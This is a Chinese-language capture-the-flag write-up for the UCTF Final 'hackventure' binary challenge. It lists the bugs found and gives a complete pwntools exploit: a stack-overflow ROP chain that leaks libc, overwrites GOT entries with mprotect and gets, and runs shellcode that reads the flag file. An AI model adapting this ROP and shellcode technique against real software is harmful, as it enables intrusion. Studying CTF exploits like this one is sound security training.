UCTF Final-Hackventure
抽出世间将UCTF Final中的hackventure给记录下,算是个总结。题目是有一个游戏,游戏地图是随机生成的,用户可以攻打Server,如果3个Server都被攻占的话,那么用户就赢了,但是并没有Flag。
题目以及IDB见:https://files.cnblogs.com/files/wangaohui/hackventure-blog.zip
题目是一个C++的题目,结构体也不少,把结构体都建立后,逆起来轻松不少。把题目逆了一遍后,首先发现的是个整数溢出,然而并不知道怎么利用。其次发现的还有对空指针进行解引用造成的崩溃,以及free后全局变量区指针并没有清零等。但是这些都不知道怎么利用。后来发现一个栈溢出,而且溢出的空间很大,完全可以来做ROP,在程序本身的_libc_csu_init里有好用的通用Gadget。
漏洞位置:
EXP:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
import sys from pwn import * #context.log_level='debug' #by wah exe = 'hackventure' ip = '127.0.0.1' port = 10001 #ip = '10.250.100.12' #port = 6666 me = [0,0] home = [0,0] store = [0,0] server = [[0,0],[0,0],[0,0]] #100 10.10.10.1 #200 10.1.11.1 server100 = [0,0] server200 = [0,0] server300 = [0,0] def getpid(): time.sleep(0.1) pid= pwnlib.util.proc.pidof(exe) print pid raw_input('go!') def walk(f,t): if f==t: return global r x= t[0]-f[0] y = t[1]-f[1] #print f,t #print x,y if x<0: for i in range(-x): r.sendline('go up') elif x>0: for i in range(x): r.sendline('go down') else: pass if y<0: for i in range(-y): r.sendline('go left') elif y>0: for i in range(y): r.sendline('go right') else: pass def getinfo(): global r,me,home,store,server,server100,server200,server300 r.recvuntil('+--------------------------------+\n') matrix = r.recvuntil('\n+--------------------------------+\n') print matrix #print binascii.hexlify(matrix) sr = [] for i in range(len(matrix)): if matrix[i] == 'T': s = i elif matrix[i] == 'S': sr.append(i) elif matrix[i] == 'H': h = i elif matrix[i] == '*': m = i else: pass me[1] = m%35 me[0] = m/35+1 home[1] = h%35 home[0] = h/35+1 store[1] = s%35 store[0] = s/35+1 server[0][1] = sr[0]%35 server[0][0] = sr[0]/35+1 server[1][1] = sr[1]%35 server[1][0] = sr[1]/35+1 server[2][1] = sr[2]%35 server[2][0] = sr[2]/35+1 walk(me,server[0]) me = server[0] r.sendline('explore') r.recvuntil('IP: ') ip = r.recvuntil('\n').strip() #print ip r.recvuntil('HP: ') hp = r.recvuntil('\n').strip() if ip == '10.10.10.1': server100 = server[0] elif ip == '10.1.11.1': server200 = server[0] else: server300 = server[0] data = r.recvuntil('$ ') walk(me,server[1]) me = server[1] r.sendline('explore') r.recvuntil('IP: ') ip = r.recvuntil('\n').strip() #print ip r.recvuntil('HP: ') hp = r.recvuntil('\n').strip() if ip == '10.10.10.1': server100 = server[1] elif ip == '10.1.11.1': server200 = server[1] else: server300 = server[1] data = r.recvuntil('$ ') walk(me,server[2]) me = server[2] r.sendline('explore') r.recvuntil('IP: ') ip = r.recvuntil('\n').strip() #print ip r.recvuntil('HP: ') hp = r.recvuntil('\n').strip() if ip == '10.10.10.1': server100 = server[2] elif ip == '10.1.11.1': server200 = server[2] else: server300 = server[2] data = r.recvuntil('$ ') #print server100,server200,server300 def local_attack(): r.sendline('local_attack') def remote_attack(ip): r.sendline('remote_attack ' + ip) def remote_attacks(ips): r.sendline('remote_attacks ' + ips) r = remote(ip,port) r.sendline('map') getinfo() walk(me,server100) me=server100 local_attack() local_attack() r.recvuntil('You have compromised server 10.10.10.1, good job!\n') r.sendline('5') r.recvuntil('Name? ') r.sendline('wah') #remote_attack('10.1.11.1') r.sendline('status') r.recvuntil('*** Hacker\'s Profile ***') r.recvuntil('$ ') walk(me,home) me=home r.sendline('goodnight') walk(me,server100) me=server100 getpid() sc = '''call a; a:pop rcx; add rcx,35 push rcx ret .string "/home/flag/hackventure/flag"; lea rdi,[rcx-28]; mov rax,2; mov rsi,0; syscall; mov rdi,rax; xor rax,rax; mov rsi,0x605200; mov rdx,16; syscall; mov rdi,1; mov rsi,0x605200; mov rdx,16; mov rax,1; syscall; mov rax,60; xor rdi,rdi; syscall;''' shellcode=asm(sc,arch='amd64',os='linux') fakeebp = 0xaaaaaaaaaaaaaaaa pop_rdi_ret = 0x4029F3 pop_rsi_r15_ret = 0x4029F1 atoi_got = 0x604098 puts_plt = 0x400840 call_getstring = 0x4014BC #buf_to_store_mprotect = 0x604600 buf_to_store_mprotect_gets = 0x6040A0 buflen = 18 rubbish = 0xaaaaaaaa pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4029EA call_mprotect = 0x4029D0 memo_to_exec = 0x604000 memo_len = 0x3000 memo_prot = 0x7 shellcode_addr = 0x605000 shellcode_len = 0x1000 plt_jmp_gets = 0x400940 rop = '' rop += p64(pop_rdi_ret) rop += p64(atoi_got) rop += p64(puts_plt) rop += p64(pop_rdi_ret) rop += p64(buf_to_store_mprotect_gets) rop += p64(pop_rsi_r15_ret) rop += p64(buflen) rop += p64(rubbish) rop += p64(call_getstring) rop += 'a'*0x68 rop += p64(pop_rbx_rbp_r12_r13_r14_r15_ret) rop += p64(0) rop += p64(1) rop += p64(buf_to_store_mprotect_gets) rop += p64(memo_prot) rop += p64(memo_len) rop += p64(memo_to_exec) rop += p64(call_mprotect) rop += p64(rubbish) rop += p64(0)#rbx rop += p64(0)#rbp rop += p64(0)#r12 rop += p64(0)#r13 rop += p64(0)#r14 rop += p64(0)#r15 rop += p64(pop_rdi_ret) rop += p64(shellcode_addr) rop += p64(plt_jmp_gets) rop += p64(shellcode_addr) fuck1 = p64(fakeebp) + rop remote_attacks('1,2,3,4,'+fuck1) walk(me,server300) local_attack() local_attack() local_attack() local_attack() local_attack() r.recvuntil('Game Over!\n') data = r.recvuntil('\n')[:-1] atoi = u64(data + (8-len(data))*'\x00') log.info("Leaked atoi: "+hex(atoi)) mprotect = atoi+0xbaa30 gets = atoi +0x354d0 data = p64(mprotect) + p64(gets) #overwrite got to mprotect and gets r.sendline(data) #write shellcode r.sendline(shellcode) r.recvuntil('Please own this server first.\n') flag = r.recv(16) print flag r.close()